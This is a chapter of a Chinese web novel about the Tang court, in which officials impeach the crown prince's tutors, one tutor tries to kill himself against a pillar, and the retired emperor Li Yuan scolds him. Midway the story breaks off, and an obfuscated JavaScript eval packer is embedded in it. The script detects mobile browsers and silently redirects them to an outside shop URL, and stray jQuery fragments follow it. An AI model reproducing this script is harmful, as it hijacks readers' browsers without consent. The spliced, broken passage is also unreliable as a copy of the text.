102. 第 102 章 臣弹劾于志宁不配为师……

作品:《[唐]李世民今天揍儿子了吗

    流言逐渐愈演愈烈,不只坊间百姓便是官员亲属家眷以及世家嫡支旁系也都参与进来,此事一下子吸引了所有人的注意力,就连刚刚收成的红薯的热度都被盖了过去。


    比起思想单纯


    其中文人的嘴最是犀利没几天,流言已经从“针对太子,故意挑刺”变成了踩着太子来成全自己不畏皇权、刚正不阿的谏臣良师之美名。


    当然也有觉得此事发展迅速,来势汹汹颇为猫腻的。但那又怎样呢?


    在满城百姓的愤慨之下,在如同浪涛席卷的民心裹挟之下,在大多数人已然站在同一阵线的情景之下,他们要不随波逐流也加入进来;要不装傻充愣不加入也不站对立面把自己的观点掩埋。


    便是偶有敢于直抒己见的提出种种疑点也终归被主流声音所淹没,泛不起半点涟漪。尤其你若是说此事最初是从太子口中说出来了,那就更是捅了马蜂窝了。


    “你什么意思你是说太子故意的?”


    “太子才几岁,孩子受了委屈,你还不让人说了。”


    “你是不是跟于志宁一伙的。”


    ……


    众怒一犯,何人能挡。这些人只能灰溜溜败退偃旗息鼓。


    等于志宁三人了解到全面情况时惊讶地发现事情已经发展到他们无法控制的地步,这让他们既愤怒又心惊还没等他们商议出合适的解决之法局势再度变幻异变陡生。


    两仪殿。


    “臣弹劾于志宁、陆德明、孔颖达三人私心过重对太子吹毛求疵随意指摘言辞针对有故意构陷太子之嫌。太子乃国之储君储君教养绝不能托于此等人物之手望圣人严查严惩。”


    于志宁三人目瞪口呆懵很懵非常懵。


    往日只有他们弹劾别人如今竟遭他人弹劾还是这般严重的罪状这等罪状若是落实他们也不用活了。


    “你胡说!我们何时指摘太子构陷太子!你这是污蔑!”


    那人瞥他一眼举起手中奏折:“是与不是臣奏折中桩桩件件写得清清楚楚明明白白。圣人只要一阅便知。更别说如今此事已经闹得沸沸扬扬满城风雨。圣人现今长安百姓都在看着呢。他们都在等朝廷出面等您的一个态度。”


    于志宁陆德明孔颖达神色肃穆陡然一惊不约而同齐齐跪下来:“圣人明察臣等冤枉。”


    那人嗤鼻:“冤


    枉?那你们说说何处冤枉。你们没有说太子性子张扬不够谦虚非储君典范?你们没有说太子做派铺张玩物丧志非储君所为?你们没有血脉偾张义正严词上疏批判太子?”


    于志宁咬牙:“不是这样!”


    “不是这样那是什么?你想说你们没说过这些话?好


    于志宁哑然。不是不敢而是不能。他们说这些话时本不是这个顺序也不是这个样子但话确实是他们说的一旦上殿他们根本说不清只会越发坐实了他们的“罪证”。


    “哼不敢?你们平日说太子不是厉害得很吗?你们甚至还想以死跪来威胁太子以至于太子被你们逼得不得不自请废太子。


    “太子自请废太子的折子还在圣人案头放着呢为此事太子郁结于心大病十数日不醒。于志宁、陆德明、孔颖达你们该庆幸太子吉人天相平安无事否则你们便是大唐的罪人是天下的罪人万死难辞其咎!”


    于志宁面色大变扑通重重跪在地上:“圣人冤枉!臣等万万没有此心。圣人令臣等教授太子臣等自知这是委以重任也知太子聪慧过人非一般孩童可比因此他的教导必定比过往所有储君都要重要。


    “臣等知道自己比不得圣贤一直战战兢兢如履薄冰生怕太子在臣等手上走歪因而每每授课必定打起十二万分的精神面对太子之事总是琢磨琢磨再琢磨不敢说呕心沥血却也是兢兢业业唯恐有半点差错。”


    陆德明孔颖达也紧随其后接连跪下。


    “是啊圣人臣等对太子教导之用心苍天可见。自成为太子老师以来从给太子开蒙第一堂课至今每次教学内容臣等都是精心选择严格规划。”


    “臣家中还有为太子课业进展的规划调整上面每一个字都倾注臣的心血心力。太子每日功课作业臣亦是挑灯批改评言指点每张每页摞起来如今已堆满桌案。”


    他们字字泣泪句句呕血诉说着自己平日对太子的教学是如何用心。


    “臣等从未因此自得亦未有邀功之意但现今被人说对待太子心思过重指摘太子故意挑刺甚至是意图构陷。臣等是万万不敢认的。”


    “臣不知这些流言从何而起但臣绝非这种人。圣人当初令臣教授太子便已给过旨意教的非仅仅是书本知识还要教太子文治武功教太子为人处世教太子立身自正。”


    “这些年来,臣等念及圣人重托,日日不敢望。太子年岁尚小,偶有出错,臣等如何能视而不见,任其荒唐,不加指正?”


    三人你一言我一语,涕泪横流,声声泣血。


    李世民眉宇紧蹙,几次想要开口斥回去,又思及今日这场戏是承乾设计的,承乾提前叮嘱过他,让他坐着观看就行,什么都不用做,因而一时踌躇,一边怕乱了承乾的策划,一边又怕承乾的策划有误,应付不过来。


    见他不说话,于志宁磕头再拜:“圣人,太子口腹之欲极重,食不厌精烩不厌细,餐餐顿顿丰盛至极,甚至耗费心血多番研究饮食之事,此等作为,臣如何能不说?


    “太子喜好玩乐,高调组建蹴鞠队不说,还令人广为搜集飞鹰用以熬鹰训鹰斗鹰,这般举止,臣如何能不说?


    “太子喜听夸耀,每每听闻赞美都洋洋自得,笑脸相迎,听得批评训诫便神色颓然,面露不喜,如此态度,臣如何能不说?


    “臣是恐太子染上恶习,堕了心性啊。试问,这等铺张之风,玩乐之行,张扬之道,可是储君能为?臣心心念念不过是令太子改正而已。臣身为老师,若见学生行差踏错而不闻不问,那才是枉为人师。


    “只是臣怎么都没想到,臣一片赤诚,结果却……却得来这样的结果。指摘太子,构陷太子,威逼太子,此间种种,无论哪一项,臣自认都没有,臣怎么敢,又怎么会!因此,臣不认,死都不会认。”


    于志宁是觉得自己真的没有,也是明白一旦认了就是身败名裂。而即便不认,如今也已经面临身败名裂之局,所以他必须坚持,必须破局,哪怕手段激进些,哪怕就是死,他也不能留下身后骂名!


    “如今面对千夫所指,是臣始料未及。臣愿一死以证清白。”


    于志宁猛然起身,朝殿柱撞去。


    众人惊愕万分,就连陆德明孔颖达也怔住了。李世民一颗心提起来,满目惊恐,于志宁不能死,更不能以这种方法死去。


    “拦住他!”


    李世民高声呵斥,说是迟那时快,在他出言之前,程咬金似乎早有准备,已然动作,瞬间抓住于志宁,阻止了他的行为。


    于志宁如何干得过身经百战的程咬金,被其牢牢禁锢住,动弹不得,唯有不断挣扎,言语呵斥:“放开我,我不惧死,我要自证清白。”


    程咬金眉目蹙起,十分不悦。就在众人诧异错愕,恐于志宁固执,今日之事难了的时候,一道浑厚的声音自殿外响起:“放了他,让他撞!”


    众人顿住,转身


    望去。李渊一步步走入殿内。


    所有人都愣了。自李渊退位至今已有九个月,这期间李渊不问朝事,一心享福,从未有再次染指政务之举。搬入大安宫后,太极宫都已少入,除突厥进犯以及太子昏迷两次,重回甘露殿居住了几日外,再未有来,两仪殿更是不曾踏足。因而他今日现身属实让人讶异。


    但他到底是太上皇,他要入内,谁人赶拦?


    而殿内诸人,连同李世民在内,都得起身行礼。


    李渊看向于志宁:“不是要撞柱吗?撞啊,朕看着你撞,让朕瞧瞧你的骨气!


    此话一出,于志宁懵了,非是因他觉得每个人都会阻拦他,他压根死不成。他说不畏死是真的不畏死。但李渊的神态是他从未想过,这个发展让他有点没反应过来。


    殿内


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13739349|145132||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    众臣皆劝:“太上皇,不可啊。


    李渊摆手制止众人的话,转头斥责李世民:“你是死的吗?人家都欺负到你儿子头上来了,你就干看着,任由他们胡作非为?他们今日敢在朝会以死相逼,他日是不是敢在我们的坟头蹦跶!这你也能忍?


    以死相逼,坟头蹦跶……


    言辞之激烈让于志宁满面惨白,他咬牙跪下:“太上皇,臣……


    李渊懒得听他废话:“你是不是想说你没有,你绝无此意,你只是想自证清白?呵,什么清白必须以死来自证。你总说太子不该这样不该那样,以免上行下效。还给太子说什么楚王好细腰,宫中多饿死;让太子牢记身份,一言一行都需三思。你呢?


    “今日若当真让你一死了之,就此算是证明了你的清白。那么刑部判案还要讲究证据作甚?谁不服谁有没有罪,不看证据,只看对方敢不敢以死证明清白就行。只要对方有这个胆量,那就是清白的。


    “你是不是想扰乱天下秩序,让天下罪犯都来学你?你可真是给他们做了一个好榜样啊!于志宁,你好,你真好!你是这个!


    李渊竖起大拇指,但话语确实从牙缝里蹦出来的,那个咬牙切齿的劲,谁人看不出来。


    于志宁满面惊骇,他不过是想一死以证清白,怎么就成给天下罪犯树立榜样,扰乱律例秩序了?


    “亏你是名门出身,幼承庭训,熟读圣贤之书。朕看你这书都读狗肚子里去了。你此举与市井泼妇有何区别?说不过就一哭二闹三上吊,用自己的性命来让他人畏惧,只要不想背上逼死你的罪名,就必须得退,你就如意了得逞了是吗?


    “朕告诉你,你这手段对老二或许管用,对承乾或许也管用,朕可不吃


    你这套。朕就算不是皇帝了,也还是太上皇,是太子祖父,圣人父亲。孝道在前,他们也得听朕的。朕今日把话放这里,你想撞只管撞。


    “血染两仪殿,好一出大戏,此等大事,史书如何能空缺。今日你不论撞没撞死,都可在史书留名。上面就写,于志宁继针对太子,威逼太子,以致太子病重后,东窗事发,不思自省改过,为保全自己清白名声,于朝会之上,文武百官面前,以死要挟,行逼迫圣人之事。


    “你也别说是朕故意令史官污你。你自己说说,你所做所为,哪一项不是如此?朕知道你或许不这么觉得,但你觉不觉得不重要,你大可问问满朝文武是不是这样觉得,最重要是问问长安百姓,乃至天下百姓是不是这样觉得!


    “今日之事,朕会原原本本昭告天下,让天下人来评说。你撞柱而死,是因为清白,还是行得逼迫之事,全由他们说了算。你觉得如何?你可满意!”


    如何……


    于志宁恍然发现,倘若昭告天下,于千万百姓而言,或许真会如李渊所说,并不会觉得他清白。史官顺应民心而写,何人敢说不是史实。到时候他……


    于志宁面色煞白,摇摇欲坠。


    满意……


    这结果他怎能满意,怎会满意!


    程咬金适时松开手,于志宁双腿一软,瘫坐在地。


    他不惧死,若一死能保住名节骨气,他并不怕。但若是即便死了也无法洗清污名,反而使名誉尽毁,情况更为严重呢?这般局面,他还如何能死。他不能,绝对不能。


    李渊轻嗤一声:“不死了是吧。既然不死,那咱们就说道说道。你若在理,理只会越辨越明。若你觉得冤屈,该做的是与众人抗辩,以此证清白,而不是以死证清白。清白与否看得是事实,而非敢不敢死。今日朕把这话撂这里,也望在场诸卿牢记。”


    众臣跪拜,声声请罪,连称不敢,必定记在心间。


    李世民嘴角勾起,他算看明白了。今日弹劾于志宁的人是承乾授意,这点他早就知道,毕竟人还是他帮忙选的。但显然除此之外,程咬金与李渊也在承乾的计划之内。


    承乾在下棋,下一盘大棋。


    承乾若心中已有筹谋,那他按约定做一个观棋不语真君子又如何?